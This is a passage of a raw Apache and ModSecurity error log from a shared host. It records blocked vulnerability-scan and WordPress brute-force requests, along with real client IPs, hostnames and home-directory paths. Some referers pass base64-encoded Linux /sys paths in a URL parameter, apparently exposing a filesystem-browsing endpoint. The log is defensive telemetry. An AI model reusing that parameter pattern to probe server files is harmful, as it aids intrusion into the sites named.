succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30OrV-dFiaX9AtWiQZggAAAXM"] [Sat Jun 13 18:22:18.172282 2026] [security2:error] [pid 715691:tid 715946] [client 210.217.96.217:31056] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30OrV-dFiaX9AtWiQZggAAAXM"] [Sat Jun 13 18:22:18.182538 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.62:59432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:18.182909 2026] [access_compat:error] [pid 715691:tid 715734] [remote 57.141.14.62:59432] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:18.258309 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.14:52300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:18.258722 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.14:52300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:18.482368 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowMQ== [Sat Jun 13 18:22:18.482626 2026] [access_compat:error] [pid 646876:tid 646992] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEMwRjowMQ== [Sat Jun 13 18:22:18.489217 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.97:64854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:18.489483 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.97:64854] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:18.882575 2026] [security2:error] [pid 715691:tid 715900] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/tests/lang/operators/bitwiseXor_basiclong_64bit.phpt"] [unique_id "ai30OrV-dFiaX9AtWiQZowAAAUU"] [Sat Jun 13 18:22:19.033762 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:22:19.034238 2026] [access_compat:error] [pid 646876:tid 646897] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQx [Sat Jun 13 18:22:19.293126 2026] [security2:error] [pid 646876:tid 646886] [remote 17.22.245.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30O9yTkdrNlD40tSHMzwAAIQc"] [Sat Jun 13 18:22:19.343795 2026] [access_compat:error] [pid 715691:tid 715791] [remote 57.141.14.95:47477] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:19.344070 2026] [access_compat:error] [pid 715691:tid 715791] [remote 57.141.14.95:47477] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:19.415639 2026] [security2:error] [pid 715691:tid 715800] [remote 17.22.253.224:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30O7V-dFiaX9AtWiQZsAABJ1k"] [Sat Jun 13 18:22:19.509923 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:22:19.510204 2026] [access_compat:error] [pid 646876:tid 646913] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:22:19.687164 2026] [security2:error] [pid 715691:tid 715805] [remote 62.84.186.183:55294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.186.84.62.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "sunshinemanage.com"] [uri "/wp-login.php"] [unique_id "ai30O7V-dFiaX9AtWiQZuwABO14"] [Sat Jun 13 18:22:19.711012 2026] [access_compat:error] [pid 715691:tid 715748] [remote 57.141.14.42:58974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:19.711431 2026] [access_compat:error] [pid 715691:tid 715748] [remote 57.141.14.42:58974] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:19.913118 2026] [access_compat:error] [pid 715691:tid 715801] [remote 57.141.14.42:58982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:19.913564 2026] [access_compat:error] [pid 715691:tid 715801] [remote 57.141.14.42:58982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:20.030440 2026] [access_compat:error] [pid 715691:tid 715715] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:20.030915 2026] [access_compat:error] [pid 715691:tid 715715] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:20.042951 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:22:20.043562 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:22:20.048081 2026] [security2:error] [pid 715691:tid 715811] [remote 17.241.75.67:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PLV-dFiaX9AtWiQZxwABIGQ"] [Sat Jun 13 18:22:20.153659 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.42:58996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:20.154090 2026] [access_compat:error] [pid 715691:tid 715782] [remote 57.141.14.42:58996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:20.155381 2026] [security2:error] [pid 715691:tid 715926] [client 192.178.6.39:48263] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.6.178.192.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai30PLV-dFiaX9AtWiQZzQAAAV8"] [Sat Jun 13 18:22:20.347561 2026] [security2:error] [pid 646876:tid 647067] [client 57.129.69.52:40438] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.69.129.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.odeonsite-stalbans.co.uk"] [uri "/CHdummy/wp-login.php"] [unique_id "ai30PNyTkdrNlD40tSHM6gAAADs"] [Sat Jun 13 18:22:20.359178 2026] [access_compat:error] [pid 715691:tid 715764] [remote 57.141.14.28:39096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:20.359649 2026] [access_compat:error] [pid 715691:tid 715764] [remote 57.141.14.28:39096] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:20.544102 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:20.544415 2026] [access_compat:error] [pid 646876:tid 646958] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:22:20.588552 2026] [security2:error] [pid 715691:tid 715821] [remote 17.22.245.165:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 165.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PLV-dFiaX9AtWiQZ2gABe24"] [Sat Jun 13 18:22:20.612295 2026] [security2:error] [pid 715691:tid 715787] [remote 17.241.219.49:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PLV-dFiaX9AtWiQZ3AABI0w"] [Sat Jun 13 18:22:20.742520 2026] [security2:error] [pid 646876:tid 646952] [remote 17.246.15.110:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 110.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PNyTkdrNlD40tSHM9gAAYkk"] [Sat Jun 13 18:22:20.982240 2026] [security2:error] [pid 646876:tid 647102] [client 57.129.69.77:37760] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.69.129.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.odeonsite-stalbans.co.uk"] [uri "/CHdummy/wp-login.php"] [unique_id "ai30PNyTkdrNlD40tSHM_QAAAF4"] [Sat Jun 13 18:22:21.032686 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.5:48413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:21.033142 2026] [access_compat:error] [pid 646876:tid 646909] [remote 57.141.14.5:48413] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:21.098594 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:22:21.098902 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvcG93ZXI= [Sat Jun 13 18:22:21.152830 2026] [access_compat:error] [pid 715691:tid 715778] [remote 57.141.14.18:44602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:21.153275 2026] [access_compat:error] [pid 715691:tid 715778] [remote 57.141.14.18:44602] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:21.252666 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.105:40336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:21.252937 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.105:40336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:21.356054 2026] [core:alert] [pid 646876:tid 647030] [client 1.13.158.23:47204] /home3/corinna3/public_html/.htaccess: ProxyPassReverse not allowed here [Sat Jun 13 18:22:21.614351 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvaWQ= [Sat Jun 13 18:22:21.614645 2026] [security2:error] [pid 715691:tid 715836] [remote 17.22.237.144:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PbV-dFiaX9AtWiQZ-gABLX0"] [Sat Jun 13 18:22:21.614828 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvaWQ= [Sat Jun 13 18:22:21.940505 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.52:36360] AH01797: client denied by server configuration: 